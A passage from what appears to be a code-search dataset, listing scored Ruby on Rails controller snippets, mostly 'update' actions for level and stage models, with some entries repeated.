"docid": "94d2fe9d320d596c29c3cd0eb38e7558",
"score": "0.636746",
"text": "def update\n respond_to do |format|\n if @level.update(level_params)\n format.html { redirect_to [@level.game, @level], notice: I18n.t('crud.updated', Level.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5977ddd4bc169af30022d4ac0fdc7cc2",
"score": "0.6333208",
"text": "def update\n @growth_stage = GrowthStage.find(params[:id])\n\n respond_to do |format|\n if @growth_stage.update_attributes(params[:growth_stage])\n format.html { redirect_to @growth_stage, notice: 'Growth stage was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @growth_stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "359c2c9fdb5ddc344ff56d2957ba3695",
"score": "0.6331414",
"text": "def update\n @stage = Stage.find(params[:id])\n\n respond_to do |format|\n if @stage.update_attributes(params[:stage])\n format.html { redirect_to @stage, notice: 'Stage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "359c2c9fdb5ddc344ff56d2957ba3695",
"score": "0.63310677",
"text": "def update\n @stage = Stage.find(params[:id])\n\n respond_to do |format|\n if @stage.update_attributes(params[:stage])\n format.html { redirect_to @stage, notice: 'Stage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "72dd85e44606589061b9505ca0b6d3ea",
"score": "0.6313338",
"text": "def update\n respond_to do |format|\n if @project_stage_sub_stage.update(project_stage_sub_stage_params)\n format.html { redirect_to @project_stage_sub_stage, notice: 'Sub stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_stage_sub_stage }\n else\n format.html { render :edit }\n format.json { render json: @project_stage_sub_stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d37a220756e95fac54555dcea38fb1e3",
"score": "0.6274698",
"text": "def update\n respond_to do |format|\n if @structure_level.update(structure_level_params)\n format.html { redirect_to @structure_level, notice: 'Structure level was successfully updated.' }\n format.json { render :show, status: :ok, location: @structure_level }\n else\n format.html { render :edit }\n format.json { render json: @structure_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "06631cf1ef4cea637c026aec022d2e41",
"score": "0.62723327",
"text": "def update\n respond_to do |format|\n if @complexitylevel.update(complexitylevel_params)\n format.html { redirect_to @complexitylevel, notice: 'Complexitylevel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @complexitylevel.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3ba1cf354c328a4bc7f3925caa280bff",
"score": "0.6257201",
"text": "def update\n respond_to do |format|\n if @stage.update(stage_params)\n format.html { redirect_to @stage, notice: 'Stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @stage }\n else\n format.html { render :edit }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3ba1cf354c328a4bc7f3925caa280bff",
"score": "0.6257201",
"text": "def update\n respond_to do |format|\n if @stage.update(stage_params)\n format.html { redirect_to @stage, notice: 'Stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @stage }\n else\n format.html { render :edit }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9066daae957770dfc63b6a5c388f522d",
"score": "0.6195672",
"text": "def update\n @top_level = TopLevel.find(params[:id])\n\n respond_to do |format|\n if @top_level.update_attributes(params[:top_level])\n format.html { redirect_to @top_level, notice: 'Top level was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\", layout: \"editor\" }\n format.json { render json: @top_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cffabd1ae7d9d494474cbdc62d10a417",
"score": "0.619486",
"text": "def update\n respond_to do |format|\n if @level1.update(level1_params)\n format.html { redirect_to @level1, notice: 'Level1 was successfully updated.' }\n format.json { render :show, status: :ok, location: @level1 }\n else\n format.html { render :edit }\n format.json { render json: @level1.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9b7c028bb1573b940a456457f9197329",
"score": "0.61917025",
"text": "def update\n @production_level = ProductionLevel.find(params[:id])\n\n respond_to do |format|\n if @production_level.update_attributes(params[:production_level])\n format.html { redirect_to @production_level, notice: 'Production level was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @production_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0204d8837f52757098731a4c62b7bc6",
"score": "0.6183342",
"text": "def update_stage(id:, **args)\n params = parameters(args) do\n optional_params :name, :pipeline_id, :order_nr, :deal_probability, :rotten_flag, :rotten_days\n end\n request(:put, \"stages/#{id}\", params)\n end",
"title": ""
},
{
"docid": "b3b95929dd593e3f986dd685cb18cafc",
"score": "0.6140122",
"text": "def update\n respond_to do |format|\n if @belt_level.update(belt_level_params)\n format.html { redirect_to @belt_level, notice: 'Belt level was successfully updated.' }\n format.json { render :show, status: :ok, location: @belt_level }\n else\n format.html { render :edit }\n format.json { render json: @belt_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e16410a77ed9f8cf826e959ddae64463",
"score": "0.61346406",
"text": "def update\n @stage = Stage.find(params[:id])\n\n respond_to do |format|\n if @stage.update_attributes(params[:stage])\n format.html { redirect_to @stage, notice: 'Sála bola upravená.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1a397c7ac34c24a757796843ede5d519",
"score": "0.61161506",
"text": "def update\n respond_to do |format|\n if @tdwg_level_one.update(tdwg_level_one_params)\n format.html { redirect_to @tdwg_level_one, notice: 'Tdwg level one was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tdwg_level_one.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a314a40bf93d59e22a8f2f3f59a4c1c7",
"score": "0.6111896",
"text": "def update\n @stage = current_project.stages.find(params[:id])\n \n respond_to do |format|\n if @stage.update_attributes(params[:stage])\n flash[:notice] = 'Stage was successfully updated.'\n format.html { redirect_to project_stage_url(current_project, @stage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @stage.errors.to_xml }\n end\n end\n end",
"title": ""
},
{
"docid": "a314a40bf93d59e22a8f2f3f59a4c1c7",
"score": "0.6111896",
"text": "def update\n @stage = current_project.stages.find(params[:id])\n \n respond_to do |format|\n if @stage.update_attributes(params[:stage])\n flash[:notice] = 'Stage was successfully updated.'\n format.html { redirect_to project_stage_url(current_project, @stage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @stage.errors.to_xml }\n end\n end\n end",
"title": ""
},
{
"docid": "6bd80e1cb55f02adcc01e495d365f4b5",
"score": "0.6042676",
"text": "def update\n render json: @building_level.errors unless @building_level.update(building_level_params)\n end",
"title": ""
},
{
"docid": "187fe34ba038fb4a86a2ac7e71075f64",
"score": "0.6006527",
"text": "def update\n @level = Level.find(params[:id])\n\n respond_to do |format|\n if @level.update_attributes(params[:level])\n format.html { redirect_to(@level, :notice => 'Level was successfully updated.') }\n format.xml { head :ok }\n format.js\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @level.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end",
"title": ""
},
{
"docid": "7aed39d28f2c892d636f3e821731a083",
"score": "0.6005675",
"text": "def update\n @level_data_item = LevelDataItem.find(params[:id])\n\n respond_to do |format|\n if @level_data_item.update_attributes(params[:level_data_item])\n format.json { head :no_content }\n else\n format.json { render json: @level_data_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fb4233bbfaa7c2e219acdffc3f27e263",
"score": "0.5985596",
"text": "def update\n respond_to do |format|\n if @opportunity_stage.update(opportunity_stage_params)\n format.html { redirect_to admin_opportunity_stage_path(@opportunity_stage), notice: 'Opportunity stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @opportunity_stage }\n else\n format.html { render :edit }\n format.json { render json: @opportunity_stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f2466e237544c51d3123a271a552e4d2",
"score": "0.5969773",
"text": "def update\n respond_to do |format|\n if @training_level.update(training_level_params)\n format.html { redirect_to @training_level, notice: 'Training level was successfully updated.' }\n format.json { render :show, status: :ok, location: @training_level }\n else\n format.html { render :edit }\n format.json { render json: @training_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "988ca889668e256f420ebb8ed9af4b2a",
"score": "0.59691244",
"text": "def update\n if @user_level.update(user_level_params)\n head :no_content\n else\n render json: @user_level.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "a8d88d52b21e50bffd3ae926cfe54fb8",
"score": "0.59644514",
"text": "def update\n @servicelevel = Servicelevel.find(params[:id])\n\n respond_to do |format|\n if @servicelevel.update_attributes(params[:servicelevel])\n# format.html { redirect_to @servicelevel, notice: 'Servicelevel was successfully updated.' }\n format.html { redirect_to servicelevels_url }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @servicelevel.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4aae2e05de7659290c51764f26ee8bfe",
"score": "0.5962893",
"text": "def update\n @competency_level = CompetencyLevel.find(params[:id])\n\n respond_to do |format|\n if @competency_level.update_attributes(params[:competency_level])\n format.html { redirect_to @competency_level, notice: 'Competency level was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @competency_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7ee8d7dfcd9073ca07e82b397acf3752",
"score": "0.59618646",
"text": "def update\n #@stage = Stage.find(params[:id])\n\n respond_to do |format|\n if @stage.update_attributes(params[:stage])\n format.html { redirect_to(@stage, :notice => 'Stage was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @stage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f117abc943825def6ad8142b8004d0f9",
"score": "0.59395766",
"text": "def update\n @course_level = CourseLevel.find(params[:id])\n\n respond_to do |format|\n if @course_level.update_attributes(params[:course_level])\n format.html { redirect_to @course_level, notice: 'Course level was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8ab5d4a44efe94bdf76fde72a5028be6",
"score": "0.59254134",
"text": "def update\n @auth_level = AuthLevel.find(params[:id])\n\n respond_to do |format|\n if @auth_level.update_attributes(params[:auth_level])\n format.html { redirect_to @auth_level, notice: 'Auth level was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @auth_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "861c942491814172fe7115621ac2d3b0",
"score": "0.59227335",
"text": "def update\n respond_to do |format|\n if @functional_level.update(functional_level_params)\n format.html { redirect_to @functional_level, notice: 'Functional level was successfully updated.' }\n format.json { render :show, status: :ok, location: @functional_level }\n else\n format.html { render :edit }\n format.json { render json: @functional_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3dec1506b8ca2bb0c58d2f25e25ea67c",
"score": "0.5920431",
"text": "def update\n @level = Level.find(params[:id])\n\n respond_to do |format|\n if @level.update_attributes(params[:level])\n flash[:notice] = 'Level was successfully updated.'\n format.html { redirect_to(@level) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @level.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "76b3f0e9391519806e58c7effc0acd0c",
"score": "0.5917177",
"text": "def update\n authorize! :update, @dr_shutdown_stage\n respond_to do |format|\n if @dr_shutdown_stage.update(dr_shutdown_stage_params)\n format.html { redirect_to @dr_shutdown_stage, notice: 'Disaster recovery shutdown stages was successfully updated.' }\n format.json { render :show, status: :ok, location: @dr_shutdown_stage }\n else\n format.html { render :edit }\n format.json { render json: @dr_shutdown_stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b495967bbe9ad7fd50848bcd60706e56",
"score": "0.590538",
"text": "def update\n respond_to do |format|\n if @building_stage.update(building_stage_params)\n format.html { redirect_to @building_stage, notice: 'Stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @building_stage }\n else\n format.html { render :edit }\n format.json { render json: @building_stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8bb25d3ee0b78ba535fa8c01b83010ae",
"score": "0.58978134",
"text": "def update\n respond_to do |format|\n if @challengelevel.update(challengelevel_params)\n format.html { redirect_to @challengelevel, notice: 'Challengelevel was successfully updated.' }\n format.json { render :show, status: :ok, location: @challengelevel }\n else\n format.html { render :edit }\n format.json { render json: @challengelevel.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9d95fc487e156d6c3fae581ac2d5be3c",
"score": "0.5889552",
"text": "def update\n @funnel_stage = FunnelStage.find(params[:id])\n\n respond_to do |format|\n if @funnel_stage.update_attributes(params[:funnelstage])\n format.html { redirect_to @funnel_stage, notice: 'FunnelStage was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @funnel_stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "537ecaf5ca4b2ed6f5ba30c6d329090b",
"score": "0.5886265",
"text": "def update\n respond_to do |format|\n if @level3.update(level3_params)\n format.html { redirect_to @level3, notice: 'Level3 was successfully updated.' }\n format.json { render :show, status: :ok, location: @level3 }\n else\n format.html { render :edit }\n format.json { render json: @level3.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cfed7462b6b603cdacd05a98e4f18930",
"score": "0.5875378",
"text": "def update\n @level = Level.find(params[:id])\n\n respond_to do |format|\n if @level.update_attributes(params[:level])\n flash[:notice] = 'Level was successfully updated.'\n format.html { redirect_to(@level) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @level.errors }\n end\n end\n end",
"title": ""
},
{
"docid": "2414c7b80facbed17eb72a5dc572ff6a",
"score": "0.58708847",
"text": "def update\n respond_to do |format|\n if @userlevel.update(userlevel_params)\n format.html { redirect_to @userlevel, notice: 'Userlevel was successfully updated.' }\n format.json { render :show, status: :ok, location: @userlevel }\n else\n format.html { render :edit }\n format.json { render json: @userlevel.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "86a3ae01fa046b3e92c4a75d902da6e4",
"score": "0.5865495",
"text": "def update\n @gst_level = GstLevel.find(params[:id])\n\n respond_to do |format|\n if @gst_level.update_attributes(params[:gst_level])\n format.html { redirect_to gst_levels_path, notice: \"#{I18n.t \"html.update_success\"}\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gst_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "318b1b52a3f770b0ac1bed40ca620053",
"score": "0.5861405",
"text": "def update\n @stage_length = StageLength.find(params[:id])\n\n respond_to do |format|\n if @stage_length.update_attributes(params[:stage_length])\n format.html { redirect_to @stage_length, notice: 'Stage length was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage_length.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9ab5381c58ce08b8f41787a71ea4d8dc",
"score": "0.5849332",
"text": "def recipes\n @stage = current_project.stages.find(params[:id])\n if request.put?\n @stage.recipe_ids = params[:stage][:recipe_ids] rescue []\n flash[:notice] = \"Stage recipes successfully updated.\"\n redirect_to project_stage_url(current_project, @stage)\n else\n respond_to do |format|\n format.html { render }\n format.xml { render :xml => @stage.recipes.to_xml }\n end\n end\n end",
"title": ""
},
{
"docid": "9ab5381c58ce08b8f41787a71ea4d8dc",
"score": "0.5849332",
"text": "def recipes\n @stage = current_project.stages.find(params[:id])\n if request.put?\n @stage.recipe_ids = params[:stage][:recipe_ids] rescue []\n flash[:notice] = \"Stage recipes successfully updated.\"\n redirect_to project_stage_url(current_project, @stage)\n else\n respond_to do |format|\n format.html { render }\n format.xml { render :xml => @stage.recipes.to_xml }\n end\n end\n end",
"title": ""
},
{
"docid": "9ab5381c58ce08b8f41787a71ea4d8dc",
"score": "0.5849332",
"text": "def recipes\n @stage = current_project.stages.find(params[:id])\n if request.put?\n @stage.recipe_ids = params[:stage][:recipe_ids] rescue []\n flash[:notice] = \"Stage recipes successfully updated.\"\n redirect_to project_stage_url(current_project, @stage)\n else\n respond_to do |format|\n format.html { render }\n format.xml { render :xml => @stage.recipes.to_xml }\n end\n end\n end",
"title": ""
},
{
"docid": "47939ef826f0375a08a995fef2043a73",
"score": "0.5849162",
"text": "def update\n @stage_order.update(stage_order_params)\n render json: @stage_order \n end",
"title": ""
},
{
"docid": "c4d0f834f62d208abc12c2cd7dfbd3f8",
"score": "0.58439845",
"text": "def update\n @level = Level.find(params[:level_id])\n @attachment = @level.attachments.find(params[:id])\n respond_to do |format|\n if @attachment.update(attachment_params)\n format.html { redirect_to level_attachments_path(@level)}\n flash[:success] = 'Attachment was successfully updated.' \n format.json { render :show, status: :ok, location: level_attachments_path(@level) }\n else\n format.html { render :edit }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "372506d64476d85daafd08ce8ac7b093",
"score": "0.5840943",
"text": "def update!(**args)\n @api_level = args[:api_level] if args.key?(:api_level)\n end",
"title": ""
},
{
"docid": "a70fb432aeea760ee5a93aa198bcac2d",
"score": "0.5823298",
"text": "def update\n respond_to do |format|\n if @jobstage.update(jobstage_params)\n format.html { redirect_to @jobstage, notice: 'Jobstage was successfully updated.' }\n format.json { render :show, status: :ok, location: @jobstage }\n else\n format.html { render :edit }\n format.json { render json: @jobstage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "41e58ccbd2f4b8f69f575ee53373da6b",
"score": "0.5815354",
"text": "def change_UI_stage level, *args\n ui = args[0]\n\n # set UI stage value\n ui.level = _level = level.to_i\n log_everything(\"Changed UI stage to stage ##{level}\")\n\n # if UI_stage is for playing then update inconsistent-components such as timer text and flag text\n if _level == 3 or _level == 8\n ui.playing_mode.timer_texture = ui.stages[_level - 1][1]\n ui.playing_mode.flags_texture = ui.stages[_level - 1][3]\n end\nend",
"title": ""
},
{
"docid": "09f7e2fa72409e6968c8388878b85bd1",
"score": "0.5812132",
"text": "def update\n @question_level = QuestionLevel.find(params[:id])\n\n respond_to do |format|\n if @question_level.update_attributes(params[:question_level])\n format.html { redirect_to @question_level, notice: 'Question level was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "df6c70375ebcc20d6210b7698b770eac",
"score": "0.58111113",
"text": "def update\n @stage = Stage.find(params[:id])\n\n respond_to do |format|\n if @stage.update_attributes(params[:stage])\n flash[:notice] = 'Stage was successfully updated.'\n format.html { redirect_to(@stage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @stage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1af13dcfeec1fcce170d4fa6cd1f3612",
"score": "0.5810802",
"text": "def update\n respond_to do |format|\n if @activity_level.update(activity_level_params)\n format.html { redirect_to @activity_level, notice: 'Activity level was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity_level }\n else\n format.html { render :edit }\n format.json { render json: @activity_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "68ec16f95c7ea9e1fcb81ed1ae340749",
"score": "0.5810737",
"text": "def update\n @zone_level = ZoneLevel.find(params[:id])\n\n respond_to do |format|\n if @zone_level.update_attributes(params[:zone_level])\n format.html { redirect_to(@zone_level, :notice => 'Zone level was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @zone_level.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d28720ec09340be0780fca6826c7c555",
"score": "0.5809596",
"text": "def update\n respond_to do |format|\n if @level_of_effort.update(level_of_effort_params)\n format.html { redirect_to @level_of_effort, notice: 'Level of effort was successfully updated.' }\n format.json { render :show, status: :ok, location: @level_of_effort }\n else\n format.html { render :edit }\n format.json { render json: @level_of_effort.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7ee6167de2328da1a93ab11f3ef618d6",
"score": "0.58006376",
"text": "def update\n respond_to do |format|\n if @tdwg_level_three.update(tdwg_level_three_params)\n format.html { redirect_to @tdwg_level_three, notice: 'Tdwg level three was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tdwg_level_three.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8c2530db1072ed68b09b72ad010ded0a",
"score": "0.57879347",
"text": "def update\n @exam_level = ExamLevel.find(params[:id])\n\n respond_to do |format|\n if @exam_level.update_attributes(params[:exam_level])\n format.html { redirect_to @exam_level, notice: 'Exam level was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exam_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ec684cdc9a2c8080e762c9ebfaf8fc5",
"score": "0.57852924",
"text": "def update\n respond_to do |format|\n if @roast_level.update(roast_level_params)\n format.html { redirect_to @roast_level, notice: 'Roast level was successfully updated.' }\n format.json { render :show, status: :ok, location: @roast_level }\n else\n format.html { render :edit }\n format.json { render json: @roast_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "df1d7d64532814150fe33d85e9d296e1",
"score": "0.5780954",
"text": "def update\n @student = Student.find(params[:student_id])\n @gradelevel = @student.gradelevels.find(params[:id])\n\n respond_to do |format|\n if @gradelevel.update_attributes(params[:gradelevel])\n format.html { redirect_to :back, notice: 'Grade Level Detention was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gradelevel.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0649b92bd382dc3ed36115a4b297e1c3",
"score": "0.57632357",
"text": "def update\n @stage_status_code = StageStatusCode.find(params[:id])\n\n respond_to do |format|\n if @stage_status_code.update_attributes(params[:stage_status_code])\n format.html { redirect_to @stage_status_code, notice: 'Stage status code was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage_status_code.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b6d274012561a0fa9301ed11564f4a10",
"score": "0.57624507",
"text": "def update\n respond_to do |format|\n if @techstage.update(techstage_params)\n format.html { redirect_to @techstage, notice: 'Techstage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @techstage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19fc6b38ad40da280a76f297211f3e0e",
"score": "0.5757003",
"text": "def update\n @playerlevel = @player.playerlevels.find(params[:id])\n\n respond_to do |format|\n if @playerlevel.update_attributes(params[:playerlevel])\n format.html { redirect_to(@player, :notice => 'Playerlevel was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @playerlevel.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "85293f53cbf2a50014996db4129b2126",
"score": "0.57522905",
"text": "def update\n @workout_level = WorkoutLevel.find(params[:id])\n\n respond_to do |format|\n if @workout_level.update_attributes(params[:workout_level])\n format.html { redirect_to @workout_level, notice: 'Workout level was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @workout_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2d69b50f87cc1cfc3001a8bafc917a8a",
"score": "0.57467836",
"text": "def update\n @stage_habitat = StageHabitat.find(params[:id])\n\n respond_to do |format|\n if @stage_habitat.update_attributes(params[:stage_habitat])\n format.html { redirect_to @stage_habitat, notice: 'Stage habitat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage_habitat.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7e199d77bae7d4b1490522cd50745880",
"score": "0.5744756",
"text": "def stagelevel_params\n params.require(:stagelevel).permit(:order, :ammount, :rate)\n end",
"title": ""
},
{
"docid": "48d77441f075122da1d127a9015f0c3f",
"score": "0.5739466",
"text": "def build_stage_update(permitted_params,params)\n \n stage_index = permitted_params[:stage_index]\n #stage_id = permitted_params[:stage_id]\n stage_doc_version = permitted_params[:doc_version]\n \n return unless (stage_index && stage_doc_version)\n\n stage = get_stage(stage_index)\n \n return unless stage\n\n stage.assign_attributes(permitted_params)\n stage.doc_version = stage_doc_version + 1\n \n update = {\n \"$set\" => {\n \"stages.#{stage_index}\" => stage.attributes\n }\n }\n\n return update\n\n end",
"title": ""
},
{
"docid": "a75a54834db14abfa46555c235a98e7a",
"score": "0.5737205",
"text": "def update\n student_level_respond @student_level.update(student_level_params), :edit\n end",
"title": ""
},
{
"docid": "7b54bcd5f3e9cf6083856b2522a9c4e7",
"score": "0.57335854",
"text": "def update\n respond_to do |format|\n if @pain_level.update(pain_level_params)\n format.html { redirect_to @pain_level, notice: 'Pain level was successfully updated.' }\n format.json { render :show, status: :ok, location: @pain_level }\n else\n format.html { render :edit }\n format.json { render json: @pain_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9a704dc5476bcf77f0e5038444efd8bc",
"score": "0.5731351",
"text": "def update\n respond_to do |format|\n if @memberlevel.update(memberlevel_params)\n format.html { redirect_to memberlevels_path, notice: '会员等级编辑成功.' }\n format.json { render :show, status: :ok, location: @memberlevel }\n else\n format.html { render :edit }\n format.json { render json: @memberlevel.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7eb2a2393ac7fa76e3523c8a083b8b25",
"score": "0.5730612",
"text": "def update\n @card_level = CardLevel.find(params[:id])\n\n respond_to do |format|\n if @card_level.update_attributes(params[:card_level])\n format.html { redirect_to @card_level, notice: 'Card level was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7c67c4c2dc7bfd4fc00bbdd76f2c6a0f",
"score": "0.5726688",
"text": "def update\n @stage_length_weight = StageLengthWeight.find(params[:id])\n\n respond_to do |format|\n if @stage_length_weight.update_attributes(params[:stage_length_weight])\n format.html { redirect_to @stage_length_weight, notice: 'Stage length weight was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage_length_weight.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "38c5d0c253668cff9448ec403cbae713",
"score": "0.57230055",
"text": "def update\n @lab_scene = LabScene.find(params[:id])\n\n respond_to do |format|\n if @lab_scene.update_attributes(params[:lab_scene])\n format.html { redirect_to @lab_scene, notice: 'Lab scene was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lab_scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9ddc97852fc51358b10959fdefc02c0c",
"score": "0.57147413",
"text": "def edit\n respond_with(stage)\n end",
"title": ""
},
{
"docid": "cc1d428fd36a789ca6bb2ee670c36486",
"score": "0.57145953",
"text": "def update\n @outcome_subgroup_level = OutcomeSubgroupLevel.find(params[:id])\n\n respond_to do |format|\n if @outcome_subgroup_level.update_attributes(params[:outcome_subgroup_level])\n format.html { redirect_to(@outcome_subgroup_level, :notice => 'Outcome subgroup level was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @outcome_subgroup_level.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4b980efff538c7ad3ba5b4c0f49cb574",
"score": "0.5712608",
"text": "def update\n @stage_mobility = StageMobility.find(params[:id])\n\n respond_to do |format|\n if @stage_mobility.update_attributes(params[:stage_mobility])\n format.html { redirect_to @stage_mobility, notice: 'Stage mobility was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage_mobility.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ac2c1eec5f3ef41054d92f824ad8a6c",
"score": "0.569975",
